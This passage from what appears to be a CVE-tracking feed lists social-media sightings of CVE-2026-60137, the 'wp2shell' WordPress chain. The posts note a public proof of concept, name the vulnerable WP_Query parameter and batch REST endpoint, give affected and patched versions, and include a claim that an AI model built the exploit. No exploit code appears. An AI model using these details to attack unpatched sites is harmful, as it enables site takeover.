"https://bsky.app/profile/hilarybaumann.com/post/3mu3ortrc7s2h", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "8d5c043f-2546-41f2-aa3d-8789c99ece2a", "content": "IF you manage any WP websites, you may want to go check them all for extra users & plugins.\n\nI thought I didn't get hit by this but I spotted a problem yesterday related to WordPress Core vulnerabilities CVE-2026-63030 & CVE-2026-60137\n\nNot my host but the most useful info I've found yet \u2193", "url": "https://bsky.app/profile/hilarybaumann.com/post/3mu3ortrc7s2h"}, {"timestamp": "2026-08-28T13:20:28.164Z", "date_only": false, "value": "2026-08-28T13:20:28.164061Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mu5hchhbzm2a", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "79a3872d-c7b0-41a5-a79a-1e81a16af829", "content": "Top 3 CVE for last 7 days:\nCVE-2026-41992: 43 interactions\nCVE-2026-69836: 43 interactions\nCVE-2026-73570: 20 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-41992: 41 interactions\nCVE-2026-60137: 10 interactions\nCVE-2026-63030: 10 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mu5hchhbzm2a"}, {"timestamp": "2026-08-29T20:00:07.246Z", "date_only": false, "value": "2026-08-29T20:00:07.246968Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CyberDispatch/2299", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "6b77fa72-7388-46c3-99b0-8751a915ff49", "content": "wp2shell now has two CVEs, and a working proof-of-concept is public.\n\n> CVE-2026-63030 breaks REST batch routing\n> CVE-2026-60137 injects SQL\n\nChained, they give an anonymous attacker code execution on affected WordPress sites.", "url": "https://t.me/CyberDispatch/2299"}, {"timestamp": "2026-08-30T00:00:37.055Z", "date_only": false, "value": "2026-08-30T00:00:37.055214Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberDispatch/2299", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "d32c56ce-073c-4d2b-b828-96ec030a6141", "content": "wp2shell now has two CVEs, and a working proof-of-concept is public.\n\n> CVE-2026-63030 breaks REST batch routing\n> CVE-2026-60137 injects SQL\n\nChained, they give an anonymous attacker code execution on affected WordPress sites.", "url": "https://t.me/CyberDispatch/2299"}, {"timestamp": "2026-08-30T18:00:03.811Z", "date_only": false, "value": "2026-08-30T18:00:03.811605Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/100381", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "41c3863c-72b6-42eb-90d5-402e00f25674", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WP2Shell-Scanner\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Sec-Dan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-30 15:57:58\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRead-only CLI to check whether a WordPress site is exposed to WP2Shell (CVE-2026-63030 / CVE-2026-60137)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/100381"}, {"timestamp": "2026-09-02T01:00:15.553Z", "date_only": false, "value": "2026-09-02T01:00:15.553610Z", "kind": "sighting", "label": "Seen", "source": "Telegram/1rxP3qIuireobzlbCghqLtlBEvOO40pQENYobB1-OKe51is", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "3717c3d2-91c7-40f4-8813-d9f152448660"}, {"timestamp": "2026-09-02T06:00:17.071Z", "date_only": false, "value": "2026-09-02T06:00:17.071381Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/Russian_OSINT/7565", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "2dcc9b8e-717b-4a00-adcf-0f93526f4ada", "content": "\u0421\u043e\u0441\u0442\u043e\u044f\u043b\u0441\u044f \u0440\u0435\u043b\u0438\u0437 WordPress 7.0.2, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438: \u043e\u0434\u043d\u0443 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u043e\u0434\u043d\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0433\u043e. \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u043a\u043e\u043c\u0430\u043d\u0434\u0430 WordPress \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u0430 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0441\u0430\u0439\u0442\u043e\u0432.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0443\u0433\u0440\u043e\u0437\u0430 \u2014 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f (CVE-2026-60137), \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u043e\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 TF1T, dtro \u0438 haongo.\n\n\u0412\u0442\u043e\u0440\u0430\u044f, \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 (RCE) \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (CVE-2026-63030), \u0431\u044b\u043b\u0430 \u043d\u0430\u0439\u0434\u0435\u043d\u0430 \u0410\u0434\u0430\u043c\u043e\u043c \u041a\u044c\u044e\u0441\u043e\u043c (Adam Kues) \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Searchlight Cyber (Assetnote).\n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e.\n\nhttps://wordpress.org/news/2026/07/wordpress-7-0-2-release/\n--------------------------\n\n\ud83e\udd14\u0423\u0434\u0438\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435: \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043a\u0435\u0439\u0441\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u0440\u044b\u043d\u043e\u0447\u043d\u0430\u044f \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0443 \u0431\u0440\u043e\u043a\u0435\u0440\u043e\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442 500 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432, \u0431\u044b\u043b \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u043e \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u043d\u043e\u0432\u0435\u0439\u0448\u0435\u0439 \u044f\u0437\u044b\u043a\u043e\u0432\u043e\u0439 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c\u044e \u2b55\ufe0f GPT5.6 Sol Ultra. \u0418\u0418 \u0432\u044b\u044f\u0432\u0438\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u00ab\u0441 \u0447\u0438\u0441\u0442\u043e\u0433\u043e \u043b\u0438\u0441\u0442\u0430\u00bb \u0432\u0441\u0435\u0433\u043e \u0437\u0430 10 \u0447\u0430\u0441\u043e\u0432 \u043f\u0440\u0438 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0442\u0440\u0430\u0442\u0430\u0445 \u043e\u043a\u043e\u043b\u043e 25 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410.\n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0430\u0442\u0430\u043a\u0438 \u0441\u0442\u0430\u043b\u0430 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430 \u0440\u0430\u0441\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043e\u0432 (batch-route confusion) \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 REST API, \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u043d\u043e\u043c \u0435\u0449\u0435 \u0432 WordPress 5.6. \u0418\u0418 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0435 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441\u0434\u0432\u0438\u0433 \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432 \u043c\u0430\u0441\u0441\u0438\u0432\u043e\u0432 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043c\u0438\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u043e\u0447\u0438\u0441\u0442\u043a\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432.\n\n\u0422\u043e, \u0447\u0442\u043e \u043d\u0430 \u0440\u044b\u043d\u043a\u0435 \u043a\u0438\u0431\u0435\u0440\u043e\u0440\u0443\u0436\u0438\u044f \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0432 500 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432, \u0431\u044b\u043b\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043e \u043f\u0440\u0438 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0445 \u0437\u0430\u0442\u0440\u0430\u0442\u0430\u0445 \u0432\u0441\u0435\u0433\u043e \u0432 25 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 (\u0438\u043c\u0435\u043d\u043d\u043e \u0441\u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0442\u0440\u0430\u0447\u0435\u043d\u043d\u044b\u0445 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u043f\u043e \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0435 \u043d\u0430 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c). \u0418\u0418\u0448\u043a\u0430 \u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430\u0441\u044c \u0432\u0441\u0435\u0433\u043e \u0437\u0430 10 \u0447\u0430\u0441\u043e\u0432.\n\n\u0418\u0418 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0430\u0448\u0435\u043b \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443, \u043e\u043d \u0432\u044b\u0441\u0442\u0440\u043e\u0438\u043b \u0444\u0435\u043d\u043e\u043c\u0435\u043d\u0430\u043b\u044c\u043d\u043e \u0441\u043b\u043e\u0436\u043d\u0443\u044e, \u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u0443\u044e \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0437\u0430\u0449\u0438\u0442\u044b. \u041a\u0430\u043a \u043f\u0440\u0438\u0437\u043d\u0430\u043b\u0441\u044f \u0441\u0430\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u043d\u0438 \u043e\u0434\u0438\u043d \u044d\u043a\u0441\u043f\u0435\u0440\u0442-\u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0432 \u043c\u0438\u0440\u0435 \u043d\u0435 \u0441\u043c\u043e\u0433 \u0431\u044b \u0441 \u043d\u0443\u043b\u044f \u043f\u0440\u043e\u0434\u0435\u043b\u0430\u0442\u044c \u0442\u0430\u043a\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0437\u0430 \u0441\u0442\u043e\u043b\u044c \u043a\u043e\u0440\u043e\u0442\u043a\u043e\u0435 \u0432\u0440\u0435\u043c\u044f.\n\n\u270b @Russian_OSINT", "url": "https://t.me/Russian_OSINT/7565"}, {"timestamp": "2026-09-02T17:00:19.552Z", "date_only": false, "value": "2026-09-02T17:00:19.552840Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/SecLabNews/17958", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "5e52a4fa-5208-4a50-9415-323f74dbc14a", "content": "wp2shell. \u041e\u0434\u043d\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 \u044f\u0434\u0440\u0435 WordPress \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043f\u0443\u0442\u044c \u043a \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0441\u0430\u0439\u0442\u043e\u0432\n\n\u0412 \u044f\u0434\u0440\u0435 WordPress \u043d\u0430\u0448\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0441\u0430\u0439\u0442 \u043e\u0434\u043d\u0438\u043c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u043c HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c. \u041d\u0438 \u043b\u043e\u0433\u0438\u043d, \u043d\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u044b, \u043d\u0438 \u043e\u0441\u043e\u0431\u044b\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043d\u0435 \u043d\u0443\u0436\u043d\u044b. \u0426\u0435\u043f\u043e\u0447\u043a\u0443 \u043d\u0430\u0437\u0432\u0430\u043b\u0438 wp2shell, \u043e\u043d\u0430 \u0441\u043e\u0431\u0440\u0430\u043d\u0430 \u0438\u0437 \u0434\u0432\u0443\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u0441 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u043c\u0438 CVE-2026-60137 \u0438 CVE-2026-63030. \u041f\u043e\u043b\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 WordPress 6.9.0\u20136.9.4 \u0438 7.0.0\u20137.0.1. \u041f\u0430\u0442\u0447\u0438 \u0443\u0436\u0435 \u0432\u044b\u0448\u043b\u0438 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 6.8.6, 6.9.5 \u0438 7.0.2.\n\n\u041a\u0440\u0430\u0441\u043e\u0442\u0430 \u0430\u0442\u0430\u043a\u0438 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u043a\u0430\u0442\u0430\u0441\u0442\u0440\u043e\u0444\u043e\u0439. \u041f\u0435\u0440\u0432\u0430\u044f - SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0432 \u043a\u043b\u0430\u0441\u0441\u0435 WP_Query \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 author__not_in. \u0412\u0442\u043e\u0440\u0430\u044f - \u0441\u0431\u043e\u0439 \u0432 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 REST API /wp-json/batch/v1, \u0433\u0434\u0435 \u0447\u0435\u0440\u0435\u0437 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u0443\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043f\u043e\u0434\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0434\u0440\u0443\u0433\u043e\u0433\u043e. \u0422\u0430\u043a \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0435\u0437\u0436\u0430\u0435\u0442 \u0434\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430, \u0438 \u0434\u0432\u0435 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u0438 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u043f\u0430\u0442\u0447\u0430 \u0447\u0435\u0440\u0435\u0437 \u0430\u0432\u0442\u043e\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u0430 Cloudflare \u0441 17 \u0438\u044e\u043b\u044f \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 WAF \u0434\u043b\u044f \u043e\u0431\u0435\u0438\u0445 CVE. \u041d\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e \u0441\u0430\u0439\u0442\u0430 \u0432\u0440\u0443\u0447\u043d\u0443\u044e: \u0430\u0432\u0442\u043e\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u041f\u0430\u0442\u0447 \u0443\u0436\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u043f\u043e \u0440\u0430\u0437\u043d\u0438\u0446\u0435 \u043a\u043e\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442.\n\n#WordPress #wp2shell #RCE #CVE\n\n@ZerodayAlert", "url": "https://t.me/SecLabNews/17958"}, {"timestamp": "2026-09-03T00:00:38.850Z", "date_only": false, "value": "2026-09-03T00:00:38.850358Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/1rxP3qIuireobzlbCghqLtlBEvOO40pQENYobB1-OKe51is", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "748df31d-80df-4358-bd6d-9033138b8ac4"}, {"timestamp": "2026-09-03T00:00:41.191Z", "date_only": false, "value": "2026-09-03T00:00:41.191811Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/SecLabNews/17958", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "3ab502e3-6797-4a46-ae08-6a33c5ce215f", "content": "wp2shell. \u041e\u0434\u043d\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 \u044f\u0434\u0440\u0435 WordPress \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043f\u0443\u0442\u044c \u043a \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0441\u0430\u0439\u0442\u043e\u0432\n\n\u0412 \u044f\u0434\u0440\u0435 WordPress \u043d\u0430\u0448\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0441\u0430\u0439\u0442 \u043e\u0434\u043d\u0438\u043c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u043c HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c. \u041d\u0438 \u043b\u043e\u0433\u0438\u043d, \u043d\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u044b, \u043d\u0438 \u043e\u0441\u043e\u0431\u044b\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043d\u0435 \u043d\u0443\u0436\u043d\u044b. \u0426\u0435\u043f\u043e\u0447\u043a\u0443 \u043d\u0430\u0437\u0432\u0430\u043b\u0438 wp2shell, \u043e\u043d\u0430 \u0441\u043e\u0431\u0440\u0430\u043d\u0430 \u0438\u0437 \u0434\u0432\u0443\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u0441 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u043c\u0438 CVE-2026-60137 \u0438 CVE-2026-63030. \u041f\u043e\u043b\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 WordPress 6.9.0\u20136.9.4 \u0438 7.0.0\u20137.0.1. \u041f\u0430\u0442\u0447\u0438 \u0443\u0436\u0435 \u0432\u044b\u0448\u043b\u0438 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 6.8.6, 6.9.5 \u0438 7.0.2.\n\n\u041a\u0440\u0430\u0441\u043e\u0442\u0430 \u0430\u0442\u0430\u043a\u0438 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u043a\u0430\u0442\u0430\u0441\u0442\u0440\u043e\u0444\u043e\u0439. \u041f\u0435\u0440\u0432\u0430\u044f - SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0432 \u043a\u043b\u0430\u0441\u0441\u0435 WP_Query \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 author__not_in. \u0412\u0442\u043e\u0440\u0430\u044f - \u0441\u0431\u043e\u0439 \u0432 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 REST API /wp-json/batch/v1, \u0433\u0434\u0435 \u0447\u0435\u0440\u0435\u0437 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u0443\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043f\u043e\u0434\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a 